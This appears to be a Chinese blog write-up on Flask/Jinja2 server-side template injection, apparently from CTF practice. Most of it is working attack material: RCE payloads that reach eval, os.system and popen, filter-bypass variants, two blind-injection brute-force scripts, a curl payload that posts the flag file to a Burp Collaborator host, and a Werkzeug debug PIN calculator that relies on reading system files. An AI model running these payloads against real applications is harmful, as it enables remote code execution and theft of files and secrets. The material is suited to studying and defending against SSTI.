__builtins__:导入builtins模块后通过dir函数查看所有的内联函数
python的内联函数功能强大,可以调用一切函数做自己想做的事情,可以使用上述的,或者__import__


{{ "".__class__.__mro__[1]['__subclasses__']()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").system("cat flag | grep ^flag")') }}
盲注的方式获得flag,eval和exec都不会回显.但是eval使用命令有结果返回0、没有结果返回256;exec都是返回None,所以这里eval还是可以使用的

一些脚本中没有的类

<class 'subprocess.Popen'>:创建并返回一个子进程并在这个进程中执行指定的程序
只列出使用到的参数
subprocess.Popen(args, stdout=None, shell=False)
args:要执行的命令或可执行文件的路径,可以是字符串或者字符列表,列表的最开始是命令
shell:布尔型变量,True要求使用shell运行
stdout:通过测试如果为-1,会执行并且退出;如果用别的数字,执行后并不会退出

4、遇到过滤后的绕过

过滤了“{{”和“}}”

使用{%%}进行替换:{%print xxx%}其中xxx为我们在{{xxx}}中构造的Payload

回显存在限制时

盲注

Payload:{% if ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('flag').read()[0:1]=='f'}123{% endif %} //通过截断依次判断文件中的字符,如果正确有回显,错误则没有回显

使用Brup可以一一爆破,但是如果使用脚本会存在url编码把"{"和"}"编码了,然后发过去后就500了,这个暂时还没想到解决方法

下述的Python2的脚本在Kali(Python2.7.18)中能够成功转码,但是我在本机(Python2.7.17)测试还是不行

url编码的转换来自:https://www.jianshu.com/p/e0d613d9ac4c

Python2盲注脚本GET打开文件

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import urllib
import requests

class NoQuoteSession(requests.Session):
    def send(self, prep, **send_kwargs):
        table = {
            urllib.quote('{'): '{',
            urllib.quote('}'): '}',
            urllib.quote(':'): ':',
            urllib.quote(','): ',',
            urllib.quote('<'): '<',
            urllib.quote('>'): '>',
	    	urllib.quote('%'): '%',
        }
        for old, new in table.items():
            prep.url = prep.url.replace(old, new)
        return super(NoQuoteSession, self).send(prep, **send_kwargs)

url = 'http://192.168.1.108:5000?key='
s = NoQuoteSession()

flag =''
for i in range(1,15):
    for j in range(32,127):
		atao = flag + chr(j)
        payload = "{%if%20%27%27.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__[%27__builtins__%27][%27open%27](%27flag.txt%27).read()[0:"+str(i)+"]==%27"+atao+"%27%}123{%%20endif%20%}"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded"
        }
        res = s.get(url+payload,headers=headers)
        if "123" in res.text:
            #print chr(j)
            flag = flag + chr(j)
            break
    print flag

Python2盲注脚本GET命令执行

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import urllib
import requests

class NoQuoteSession(requests.Session):
    def send(self, prep, **send_kwargs):
        table = {
            urllib.quote('{'): '{',
            urllib.quote('}'): '}',
            urllib.quote(':'): ':',
            urllib.quote(','): ',',
            urllib.quote('<'): '<',
            urllib.quote('>'): '>',
	    	urllib.quote('%'): '%',
        }
        for old, new in table.items():
            prep.url = prep.url.replace(old, new)
        return super(NoQuoteSession, self).send(prep, **send_kwargs)

url = 'http://127.0.0.1:5000?key='
s = NoQuoteSession()
dic ='qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM-{}'
flag =''
for i in range(1,15):
    for j in dic:
        atao = flag + j
        payload ="{{ ().__class__.__mro__[1]['__subclasses__']()[80].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).system(%22cat flag | grep ^"+atao+"%22)') }}"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded"
        }
        res = s.get(url+payload,headers=headers)
        if "0" in res.text:
            #print chr(j)
            flag = flag + j
            break
    print flag

curl带回数据(参考Firebasky师傅的,有vps更轻松)

Payload:{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("curl -X POST -F xx=@flag http://xlmyrrmshbavuotyjj7ch674gvmlaa.burpcollaborator.net").read()}}

绕过中括号[]获取类

使用__getitem__绕过中括号限制
Payload: ''.__class__.__mro__.__getitem__(2)

过滤引号或者下划线

使用request对象

原Paylaod
{{().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('py3.py').read()}}
更改后的Payload
{ ().__class__.__mro__[1].__subclasses__()[80].__init__.__globals__[request.args.aaa]['open'](request.args.xxx).read() }}&aaa=__builtins__&xxx=flag

当"."和"_"被过滤

点被过滤后可以使用中括号拼接,Payload:()['__class__'],但是下划线也被过滤了,则可以使用"\x5F"绕过,Payload:()['\x5F\x5Fclass\x5F\x5F']

5、Flask的Debug计算PIN码

菜鸡分析不动,大佬的分析过程:

PIN码的值是由【计算机当前用户名】、【flask.php】、【Flask】、【flask库的app.py绝对路径】、【当前网络的mac地址的十进制】、【机器的ID】组合获得的。

werkzurg的PIN码计算相同。

各个参数的获取

(1)计算机当前用户:Linux中通过/etc/passwd获取

(2)flask.php:modname一般不会改变

(3)Flask:通过getattr(app, "__name__", app.__class__.__name__)获得,一般为Flask,不改变

(4)flask库的app.py绝对路径:报错后在Debug页面可以看到

(5)当前网络的mac地址的十进制:Linux中通过/sys/class/net/eth0/address获取

(6)机器的ID:Linux中通过/etc/machine-id或者/proc/sys/kernel/random/boot_i获取;docker机通过/proc/self/cgroup获取;win通过注册表的SOFTWARE\Microsoft\Cryptography的值获取

计算PIN的脚本

#脚本出处:https://xz.aliyun.com/t/2553
#by kingkk
# ! usr/bin/env python
#  -*- coding: utf-8 -*-

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
    '2485410445436',# address
    'a897e67c4e8cafbc09be9836d1b8744d9ad99bc6bb09d008a16a5a5faaa8e329'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

6、Poc

命令执行:{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls").read()') }} {% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
打开文件:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% print c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() %}{% endif %}{% endfor %}

补充

最近比赛时存在了一些过滤的绕过进行补充,还有一些自己对于flask理解有误的地方进行补充

过滤[]

查看我们经常使用的Payload,如:{{""._class_._mro__[1].__subclasses__()[132].__init_.__globals__['popen']("ls").read()}},这里有两个位置用了中括号,查看对应函数subclasses和globals得知返回的值都是字典,这里对于获得字典的键值内容,可以使用get或者pop方法(pop方法存在一些限制)

atao = {
	'aaa':'bbb',
	'ccc':'ddd'
}

print atao.get('aaa')
返回bbb,字典内容不变,get方法返回具有指定键的项目值

print atao.pop('aaa')
返回bbb,字典内容产生变化,'aaa':'bbb'这个键值对将被删除,这是由于pop方法的原因,pop方法是删除字典中给定的键值key和对应的值,并返回被删除的值

这里如果可以使用get方法就尽量使用get方法

对于__subclasses__()可以使用get或者pop方法
对于__globals__仅可以使用get方法,使用pop方法将会删除其中的函数,不能使用

修改后的Payload:{{("".__class__.__mro__[1].__subclasses__().get('132').__init__.__globals__.get('popen'))("ls").read()}}
或
{{("".__class__.__mro__[1].__subclasses__().pop('132').__init__.__globals__.get('popen'))("ls").read()}}

过滤__下划线和[]中括号

通过attr这个过滤器进行操作,记得应该算过滤器说错的话别打我

{{"".__class__}}

{{""|attr(request.args.aaa)}}

7、查阅博客

https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/#%E9%81%8D%E5%8E%86%E6%89%BE%E5%88%B0%E5%85%B6%E4%BB%96%E7%9A%84%E9%80%83%E9%80%B8%E6%96%B9%E6%B3%95
https://www.freebuf.com/column/187845.html
https://zhuanlan.zhihu.com/p/56251926
https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/
https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#0X04-SSTI-%E6%80%8E%E4%B9%88%E4%BA%A7%E7%94%9F%E7%9A%84
https://p0sec.net/index.php/archives/120/
https://0day.work/jinja2-template-injection-filter-bypasses/

本文作者:erR0Ratao